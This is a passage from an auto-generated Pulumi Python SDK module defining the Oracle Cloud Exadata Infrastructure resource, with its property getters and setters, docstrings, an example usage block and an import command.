gateway: Optional[pulumi.Input[str]] = None,
infini_band_network_cidr: Optional[pulumi.Input[str]] = None,
lifecycle_details: Optional[pulumi.Input[str]] = None,
maintenance_slo_status: Optional[pulumi.Input[str]] = None,
maintenance_window: Optional[pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs']] = None,
max_cpu_count: Optional[pulumi.Input[int]] = None,
max_data_storage_in_tbs: Optional[pulumi.Input[float]] = None,
max_db_node_storage_in_gbs: Optional[pulumi.Input[int]] = None,
max_memory_in_gbs: Optional[pulumi.Input[int]] = None,
memory_size_in_gbs: Optional[pulumi.Input[int]] = None,
netmask: Optional[pulumi.Input[str]] = None,
ntp_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
shape: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[str]] = None,
storage_count: Optional[pulumi.Input[int]] = None,
time_created: Optional[pulumi.Input[str]] = None,
time_zone: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering ExadataInfrastructure resources.
:param pulumi.Input[int] activated_storage_count: The requested number of additional storage servers activated for the Exadata infrastructure.
:param pulumi.Input[str] activation_file: (Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
:param pulumi.Input[int] additional_storage_count: The requested number of additional storage servers for the Exadata infrastructure.
:param pulumi.Input[str] admin_network_cidr: (Updatable) The CIDR block for the Exadata administration network.
:param pulumi.Input[str] cloud_control_plane_server1: (Updatable) The IP address for the first control plane server.
:param pulumi.Input[str] cloud_control_plane_server2: (Updatable) The IP address for the second control plane server.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
:param pulumi.Input[int] compute_count: The number of compute servers for the Exadata infrastructure.
:param pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]] contacts: (Updatable) The list of contacts for the Exadata infrastructure.
:param pulumi.Input[str] corporate_proxy: (Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
:param pulumi.Input[int] cpus_enabled: The number of enabled CPU cores.
:param pulumi.Input[str] csi_number: The CSI Number of the Exadata infrastructure.
:param pulumi.Input[float] data_storage_size_in_tbs: Size, in terabytes, of the DATA disk group.
:param pulumi.Input[int] db_node_storage_size_in_gbs: The local node storage allocated in GBs.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
:param pulumi.Input[str] display_name: The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
:param pulumi.Input[Sequence[pulumi.Input[str]]] dns_servers: (Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
:param pulumi.Input[str] gateway: (Updatable) The gateway for the control plane network.
:param pulumi.Input[str] infini_band_network_cidr: (Updatable) The CIDR block for the Exadata InfiniBand interconnect.
:param pulumi.Input[str] lifecycle_details: Additional information about the current lifecycle state.
:param pulumi.Input[str] maintenance_slo_status: A field to capture ‘Maintenance SLO Status’ for the Exadata infrastructure with values ‘OK’, ‘DEGRADED’. Default is ‘OK’ when the infrastructure is provisioned.
:param pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs'] maintenance_window: (Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
:param pulumi.Input[int] max_cpu_count: The total number of CPU cores available.
:param pulumi.Input[float] max_data_storage_in_tbs: The total available DATA disk group size.
:param pulumi.Input[int] max_db_node_storage_in_gbs: The total local node storage available in GBs.
:param pulumi.Input[int] max_memory_in_gbs: The total memory available in GBs.
:param pulumi.Input[int] memory_size_in_gbs: The memory allocated in GBs.
:param pulumi.Input[str] netmask: (Updatable) The netmask for the control plane network.
:param pulumi.Input[Sequence[pulumi.Input[str]]] ntp_servers: (Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[str] shape: The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
:param pulumi.Input[str] state: The current lifecycle state of the Exadata infrastructure.
:param pulumi.Input[int] storage_count: The number of storage servers for the Exadata infrastructure.
:param pulumi.Input[str] time_created: The date and time the Exadata infrastructure was created.
:param pulumi.Input[str] time_zone: (Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
"""
if activated_storage_count is not None:
pulumi.set(__self__, "activated_storage_count", activated_storage_count)
if activation_file is not None:
pulumi.set(__self__, "activation_file", activation_file)
if additional_storage_count is not None:
pulumi.set(__self__, "additional_storage_count", additional_storage_count)
if admin_network_cidr is not None:
pulumi.set(__self__, "admin_network_cidr", admin_network_cidr)
if cloud_control_plane_server1 is not None:
pulumi.set(__self__, "cloud_control_plane_server1", cloud_control_plane_server1)
if cloud_control_plane_server2 is not None:
pulumi.set(__self__, "cloud_control_plane_server2", cloud_control_plane_server2)
if compartment_id is not None:
pulumi.set(__self__, "compartment_id", compartment_id)
if compute_count is not None:
pulumi.set(__self__, "compute_count", compute_count)
if contacts is not None:
pulumi.set(__self__, "contacts", contacts)
if corporate_proxy is not None:
pulumi.set(__self__, "corporate_proxy", corporate_proxy)
if cpus_enabled is not None:
pulumi.set(__self__, "cpus_enabled", cpus_enabled)
if create_async is not None:
pulumi.set(__self__, "create_async", create_async)
if csi_number is not None:
pulumi.set(__self__, "csi_number", csi_number)
if data_storage_size_in_tbs is not None:
pulumi.set(__self__, "data_storage_size_in_tbs", data_storage_size_in_tbs)
if db_node_storage_size_in_gbs is not None:
pulumi.set(__self__, "db_node_storage_size_in_gbs", db_node_storage_size_in_gbs)
if defined_tags is not None:
pulumi.set(__self__, "defined_tags", defined_tags)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if dns_servers is not None:
pulumi.set(__self__, "dns_servers", dns_servers)
if freeform_tags is not None:
pulumi.set(__self__, "freeform_tags", freeform_tags)
if gateway is not None:
pulumi.set(__self__, "gateway", gateway)
if infini_band_network_cidr is not None:
pulumi.set(__self__, "infini_band_network_cidr", infini_band_network_cidr)
if lifecycle_details is not None:
pulumi.set(__self__, "lifecycle_details", lifecycle_details)
if maintenance_slo_status is not None:
pulumi.set(__self__, "maintenance_slo_status", maintenance_slo_status)
if maintenance_window is not None:
pulumi.set(__self__, "maintenance_window", maintenance_window)
if max_cpu_count is not None:
pulumi.set(__self__, "max_cpu_count", max_cpu_count)
if max_data_storage_in_tbs is not None:
pulumi.set(__self__, "max_data_storage_in_tbs", max_data_storage_in_tbs)
if max_db_node_storage_in_gbs is not None:
pulumi.set(__self__, "max_db_node_storage_in_gbs", max_db_node_storage_in_gbs)
if max_memory_in_gbs is not None:
pulumi.set(__self__, "max_memory_in_gbs", max_memory_in_gbs)
if memory_size_in_gbs is not None:
pulumi.set(__self__, "memory_size_in_gbs", memory_size_in_gbs)
if netmask is not None:
pulumi.set(__self__, "netmask", netmask)
if ntp_servers is not None:
pulumi.set(__self__, "ntp_servers", ntp_servers)
if shape is not None:
pulumi.set(__self__, "shape", shape)
if state is not None:
pulumi.set(__self__, "state", state)
if storage_count is not None:
pulumi.set(__self__, "storage_count", storage_count)
if time_created is not None:
pulumi.set(__self__, "time_created", time_created)
if time_zone is not None:
pulumi.set(__self__, "time_zone", time_zone)
@property
@pulumi.getter(name="activatedStorageCount")
def activated_storage_count(self) -> Optional[pulumi.Input[int]]:
"""
The requested number of additional storage servers activated for the Exadata infrastructure.
"""
return pulumi.get(self, "activated_storage_count")
@activated_storage_count.setter
def activated_storage_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "activated_storage_count", value)
@property
@pulumi.getter(name="activationFile")
def activation_file(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
"""
return pulumi.get(self, "activation_file")
@activation_file.setter
def activation_file(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "activation_file", value)
@property
@pulumi.getter(name="additionalStorageCount")
def additional_storage_count(self) -> Optional[pulumi.Input[int]]:
"""
The requested number of additional storage servers for the Exadata infrastructure.
"""
return pulumi.get(self, "additional_storage_count")
@additional_storage_count.setter
def additional_storage_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "additional_storage_count", value)
@property
@pulumi.getter(name="adminNetworkCidr")
def admin_network_cidr(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The CIDR block for the Exadata administration network.
"""
return pulumi.get(self, "admin_network_cidr")
@admin_network_cidr.setter
def admin_network_cidr(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "admin_network_cidr", value)
@property
@pulumi.getter(name="cloudControlPlaneServer1")
def cloud_control_plane_server1(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The IP address for the first control plane server.
"""
return pulumi.get(self, "cloud_control_plane_server1")
@cloud_control_plane_server1.setter
def cloud_control_plane_server1(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cloud_control_plane_server1", value)
@property
@pulumi.getter(name="cloudControlPlaneServer2")
def cloud_control_plane_server2(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The IP address for the second control plane server.
"""
return pulumi.get(self, "cloud_control_plane_server2")
@cloud_control_plane_server2.setter
def cloud_control_plane_server2(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cloud_control_plane_server2", value)
@property
@pulumi.getter(name="compartmentId")
def compartment_id(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
"""
return pulumi.get(self, "compartment_id")
@compartment_id.setter
def compartment_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "compartment_id", value)
@property
@pulumi.getter(name="computeCount")
def compute_count(self) -> Optional[pulumi.Input[int]]:
"""
The number of compute servers for the Exadata infrastructure.
"""
return pulumi.get(self, "compute_count")
@compute_count.setter
def compute_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "compute_count", value)
@property
@pulumi.getter
def contacts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]]]:
"""
(Updatable) The list of contacts for the Exadata infrastructure.
"""
return pulumi.get(self, "contacts")
@contacts.setter
def contacts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]]]):
pulumi.set(self, "contacts", value)
@property
@pulumi.getter(name="corporateProxy")
def corporate_proxy(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
"""
return pulumi.get(self, "corporate_proxy")
@corporate_proxy.setter
def corporate_proxy(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "corporate_proxy", value)
@property
@pulumi.getter(name="cpusEnabled")
def cpus_enabled(self) -> Optional[pulumi.Input[int]]:
"""
The number of enabled CPU cores.
"""
return pulumi.get(self, "cpus_enabled")
@cpus_enabled.setter
def cpus_enabled(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cpus_enabled", value)
@property
@pulumi.getter(name="createAsync")
def create_async(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "create_async")
@create_async.setter
def create_async(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "create_async", value)
@property
@pulumi.getter(name="csiNumber")
def csi_number(self) -> Optional[pulumi.Input[str]]:
"""
The CSI Number of the Exadata infrastructure.
"""
return pulumi.get(self, "csi_number")
@csi_number.setter
def csi_number(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "csi_number", value)
@property
@pulumi.getter(name="dataStorageSizeInTbs")
def data_storage_size_in_tbs(self) -> Optional[pulumi.Input[float]]:
"""
Size, in terabytes, of the DATA disk group.
"""
return pulumi.get(self, "data_storage_size_in_tbs")
@data_storage_size_in_tbs.setter
def data_storage_size_in_tbs(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "data_storage_size_in_tbs", value)
@property
@pulumi.getter(name="dbNodeStorageSizeInGbs")
def db_node_storage_size_in_gbs(self) -> Optional[pulumi.Input[int]]:
"""
The local node storage allocated in GBs.
"""
return pulumi.get(self, "db_node_storage_size_in_gbs")
@db_node_storage_size_in_gbs.setter
def db_node_storage_size_in_gbs(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "db_node_storage_size_in_gbs", value)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
"""
return pulumi.get(self, "defined_tags")
@defined_tags.setter
def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "defined_tags", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="dnsServers")
def dns_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
(Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
"""
return pulumi.get(self, "dns_servers")
@dns_servers.setter
def dns_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "dns_servers", value)
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
"""
return pulumi.get(self, "freeform_tags")
@freeform_tags.setter
def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "freeform_tags", value)
@property
@pulumi.getter
def gateway(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The gateway for the control plane network.
"""
return pulumi.get(self, "gateway")
@gateway.setter
def gateway(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "gateway", value)
@property
@pulumi.getter(name="infiniBandNetworkCidr")
def infini_band_network_cidr(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The CIDR block for the Exadata InfiniBand interconnect.
"""
return pulumi.get(self, "infini_band_network_cidr")
@infini_band_network_cidr.setter
def infini_band_network_cidr(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "infini_band_network_cidr", value)
@property
@pulumi.getter(name="lifecycleDetails")
def lifecycle_details(self) -> Optional[pulumi.Input[str]]:
"""
Additional information about the current lifecycle state.
"""
return pulumi.get(self, "lifecycle_details")
@lifecycle_details.setter
def lifecycle_details(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "lifecycle_details", value)
@property
@pulumi.getter(name="maintenanceSloStatus")
def maintenance_slo_status(self) -> Optional[pulumi.Input[str]]:
"""
A field to capture ‘Maintenance SLO Status’ for the Exadata infrastructure with values ‘OK’, ‘DEGRADED’. Default is ‘OK’ when the infrastructure is provisioned.
"""
return pulumi.get(self, "maintenance_slo_status")
@maintenance_slo_status.setter
def maintenance_slo_status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "maintenance_slo_status", value)
@property
@pulumi.getter(name="maintenanceWindow")
def maintenance_window(self) -> Optional[pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs']]:
"""
(Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
"""
return pulumi.get(self, "maintenance_window")
@maintenance_window.setter
def maintenance_window(self, value: Optional[pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs']]):
pulumi.set(self, "maintenance_window", value)
@property
@pulumi.getter(name="maxCpuCount")
def max_cpu_count(self) -> Optional[pulumi.Input[int]]:
"""
The total number of CPU cores available.
"""
return pulumi.get(self, "max_cpu_count")
@max_cpu_count.setter
def max_cpu_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "max_cpu_count", value)
@property
@pulumi.getter(name="maxDataStorageInTbs")
def max_data_storage_in_tbs(self) -> Optional[pulumi.Input[float]]:
"""
The total available DATA disk group size.
"""
return pulumi.get(self, "max_data_storage_in_tbs")
@max_data_storage_in_tbs.setter
def max_data_storage_in_tbs(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "max_data_storage_in_tbs", value)
@property
@pulumi.getter(name="maxDbNodeStorageInGbs")
def max_db_node_storage_in_gbs(self) -> Optional[pulumi.Input[int]]:
"""
The total local node storage available in GBs.
"""
return pulumi.get(self, "max_db_node_storage_in_gbs")
@max_db_node_storage_in_gbs.setter
def max_db_node_storage_in_gbs(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "max_db_node_storage_in_gbs", value)
@property
@pulumi.getter(name="maxMemoryInGbs")
def max_memory_in_gbs(self) -> Optional[pulumi.Input[int]]:
"""
The total memory available in GBs.
"""
return pulumi.get(self, "max_memory_in_gbs")
@max_memory_in_gbs.setter
def max_memory_in_gbs(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "max_memory_in_gbs", value)
@property
@pulumi.getter(name="memorySizeInGbs")
def memory_size_in_gbs(self) -> Optional[pulumi.Input[int]]:
"""
The memory allocated in GBs.
"""
return pulumi.get(self, "memory_size_in_gbs")
@memory_size_in_gbs.setter
def memory_size_in_gbs(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "memory_size_in_gbs", value)
@property
@pulumi.getter
def netmask(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The netmask for the control plane network.
"""
return pulumi.get(self, "netmask")
@netmask.setter
def netmask(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "netmask", value)
@property
@pulumi.getter(name="ntpServers")
def ntp_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
(Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
"""
return pulumi.get(self, "ntp_servers")
@ntp_servers.setter
def ntp_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "ntp_servers", value)
@property
@pulumi.getter
def shape(self) -> Optional[pulumi.Input[str]]:
"""
The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
"""
return pulumi.get(self, "shape")
@shape.setter
def shape(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "shape", value)
@property
@pulumi.getter
def state(self) -> Optional[pulumi.Input[str]]:
"""
The current lifecycle state of the Exadata infrastructure.
"""
return pulumi.get(self, "state")
@state.setter
def state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "state", value)
@property
@pulumi.getter(name="storageCount")
def storage_count(self) -> Optional[pulumi.Input[int]]:
"""
The number of storage servers for the Exadata infrastructure.
"""
return pulumi.get(self, "storage_count")
@storage_count.setter
def storage_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "storage_count", value)
@property
@pulumi.getter(name="timeCreated")
def time_created(self) -> Optional[pulumi.Input[str]]:
"""
The date and time the Exadata infrastructure was created.
"""
return pulumi.get(self, "time_created")
@time_created.setter
def time_created(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_created", value)
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
"""
return pulumi.get(self, "time_zone")
@time_zone.setter
def time_zone(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_zone", value)
class ExadataInfrastructure(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
activation_file: Optional[pulumi.Input[str]] = None,
additional_storage_count: Optional[pulumi.Input[int]] = None,
admin_network_cidr: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server1: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server2: Optional[pulumi.Input[str]] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
compute_count: Optional[pulumi.Input[int]] = None,
contacts: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ExadataInfrastructureContactArgs']]]]] = None,
corporate_proxy: Optional[pulumi.Input[str]] = None,
create_async: Optional[pulumi.Input[bool]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
gateway: Optional[pulumi.Input[str]] = None,
infini_band_network_cidr: Optional[pulumi.Input[str]] = None,
maintenance_window: Optional[pulumi.Input[pulumi.InputType['ExadataInfrastructureMaintenanceWindowArgs']]] = None,
netmask: Optional[pulumi.Input[str]] = None,
ntp_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
shape: Optional[pulumi.Input[str]] = None,
storage_count: Optional[pulumi.Input[int]] = None,
time_zone: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
This resource provides the Exadata Infrastructure resource in Oracle Cloud Infrastructure Database service.
Creates an Exadata infrastructure resource. Applies to Exadata Cloud@Customer instances only.
To create an Exadata Cloud Service infrastructure resource, use the [CreateCloudExadataInfrastructure](https://docs.cloud.oracle.com/iaas/api/#/en/database/latest/CloudExadataInfrastructure/CreateCloudExadataInfrastructure) operation.
## Example Usage
```python
import pulumi
import pulumi_oci as oci
test_exadata_infrastructure = oci.database.ExadataInfrastructure("testExadataInfrastructure",
admin_network_cidr=var["exadata_infrastructure_admin_network_cidr"],
cloud_control_plane_server1=var["exadata_infrastructure_cloud_control_plane_server1"],
cloud_control_plane_server2=var["exadata_infrastructure_cloud_control_plane_server2"],
compartment_id=var["compartment_id"],
display_name=var["exadata_infrastructure_display_name"],
dns_servers=var["exadata_infrastructure_dns_server"],
gateway=var["exadata_infrastructure_gateway"],
infini_band_network_cidr=var["exadata_infrastructure_infini_band_network_cidr"],
netmask=var["exadata_infrastructure_netmask"],
ntp_servers=var["exadata_infrastructure_ntp_server"],
shape=var["exadata_infrastructure_shape"],
time_zone=var["exadata_infrastructure_time_zone"],
activation_file=var["exadata_infrastructure_activation_file"],
compute_count=var["exadata_infrastructure_compute_count"],
contacts=[oci.database.ExadataInfrastructureContactArgs(
email=var["exadata_infrastructure_contacts_email"],
is_primary=var["exadata_infrastructure_contacts_is_primary"],
name=var["exadata_infrastructure_contacts_name"],
is_contact_mos_validated=var["exadata_infrastructure_contacts_is_contact_mos_validated"],
phone_number=var["exadata_infrastructure_contacts_phone_number"],
)],
corporate_proxy=var["exadata_infrastructure_corporate_proxy"],
defined_tags=var["exadata_infrastructure_defined_tags"],
freeform_tags={
"Department": "Finance",
},
maintenance_window=oci.database.ExadataInfrastructureMaintenanceWindowArgs(
preference=var["exadata_infrastructure_maintenance_window_preference"],
days_of_weeks=[oci.database.ExadataInfrastructureMaintenanceWindowDaysOfWeekArgs(
name=var["exadata_infrastructure_maintenance_window_days_of_week_name"],
)],
hours_of_days=var["exadata_infrastructure_maintenance_window_hours_of_day"],
lead_time_in_weeks=var["exadata_infrastructure_maintenance_window_lead_time_in_weeks"],
months=[oci.database.ExadataInfrastructureMaintenanceWindowMonthArgs(
name=var["exadata_infrastructure_maintenance_window_months_name"],
)],
weeks_of_months=var["exadata_infrastructure_maintenance_window_weeks_of_month"],
),
storage_count=var["exadata_infrastructure_storage_count"])
```
## Import
ExadataInfrastructures can be imported using the `id`, e.g.
```sh
$ pulumi import oci:database/exadataInfrastructure:ExadataInfrastructure test_exadata_infrastructure "id"
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] activation_file: (Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
:param pulumi.Input[int] additional_storage_count: The requested number of additional storage servers for the Exadata infrastructure.
:param pulumi.Input[str] admin_network_cidr: (Updatable) The CIDR block for the Exadata administration network.
:param pulumi.Input[str] cloud_control_plane_server1: (Updatable) The IP address for the first control plane server.
:param pulumi.Input[str] cloud_control_plane_server2: (Updatable) The IP address for the second control plane server.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
:param pulumi.Input[int] compute_count: The number of compute servers for the Exadata infrastructure.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ExadataInfrastructureContactArgs']]]] contacts: (Updatable) The list of contacts for the Exadata infrastructure.
:param pulumi.Input[str] corporate_proxy: (Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
:param pulumi.Input[str] display_name: The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
:param pulumi.Input[Sequence[pulumi.Input[str]]] dns_servers: (Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
:param pulumi.Input[str] gateway: (Updatable) The gateway for the control plane network.
:param pulumi.Input[str] infini_band_network_cidr: (Updatable) The CIDR block for the Exadata InfiniBand interconnect.
:param pulumi.Input[pulumi.InputType['ExadataInfrastructureMaintenanceWindowArgs']] maintenance_window: (Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
:param pulumi.Input[str] netmask: (Updatable) The netmask for the control plane network.
:param pulumi.Input[Sequence[pulumi.Input[str]]] ntp_servers: (Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[str] shape: The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
:param pulumi.Input[int] storage_count: The number of storage servers for the Exadata infrastructure.
:param pulumi.Input[str] time_zone: (Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: ExadataInfrastructureArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
This resource provides the Exadata Infrastructure resource in Oracle Cloud Infrastructure Database service.
Creates an Exadata infrastructure resource. Applies to Exadata Cloud@Customer instances only.
To create an Exadata Cloud Service infrastructure resource, use the [CreateCloudExadataInfrastructure](https://docs.cloud.oracle.com/iaas/api/#/en/database/latest/CloudExadataInfrastructure/CreateCloudExadataInfrastructure) operation.
## Example Usage
```python
import pulumi
import pulumi_oci as oci
test_exadata_infrastructure = oci.database.ExadataInfrastructure("testExadataInfrastructure",
admin_network_cidr=var["exadata_infrastructure_admin_network_cidr"],
cloud_control_plane_server1=var["exadata_infrastructure_cloud_control_plane_server1"],
cloud_control_plane_server2=var["exadata_infrastructure_cloud_control_plane_server2"],
compartment_id=var["compartment_id"],
display_name=var["exadata_infrastructure_display_name"],
dns_servers=var["exadata_infrastructure_dns_server"],
gateway=var["exadata_infrastructure_gateway"],
infini_band_network_cidr=var["exadata_infrastructure_infini_band_network_cidr"],
netmask=var["exadata_infrastructure_netmask"],
ntp_servers=var["exadata_infrastructure_ntp_server"],
shape=var["exadata_infrastructure_shape"],
time_zone=var["exadata_infrastructure_time_zone"],
activation_file=var["exadata_infrastructure_activation_file"],
compute_count=var["exadata_infrastructure_compute_count"],
contacts=[oci.database.ExadataInfrastructureContactArgs(
email=var["exadata_infrastructure_contacts_email"],
is_primary=var["exadata_infrastructure_contacts_is_primary"],
name=var["exadata_infrastructure_contacts_name"],
is_contact_mos_validated=var["exadata_infrastructure_contacts_is_contact_mos_validated"],
phone_number=var["exadata_infrastructure_contacts_phone_number"],
)],
corporate_proxy=var["exadata_infrastructure_corporate_proxy"],
defined_tags=var["exadata_infrastructure_defined_tags"],
freeform_tags={
"Department": "Finance",
},
maintenance_window=oci.database.ExadataInfrastructureMaintenanceWindowArgs(
preference=var["exadata_infrastructure_maintenance_window_preference"],
days_of_weeks=[oci.database.ExadataInfrastructureMaintenanceWindowDaysOfWeekArgs(
name=var["exadata_infrastructure_maintenance_window_days_of_week_name"],
)],
hours_of_days=var["exadata_infrastructure_maintenance_window_hours_of_day"],
lead_time_in_weeks=var["exadata_infrastructure_maintenance_window_lead_time_in_weeks"],
months=[oci.database.ExadataInfrastructureMaintenanceWindowMonthArgs(
name=var["exadata_infrastructure_maintenance_window_months_name"],
)],
weeks_of_months=var["exadata_infrastructure_maintenance_window_weeks_of_month"],
),
storage_count=var["exadata_infrastructure_storage_count"])
```
## Import
ExadataInfrastructures can be imported using the `id`, e.g.
```sh
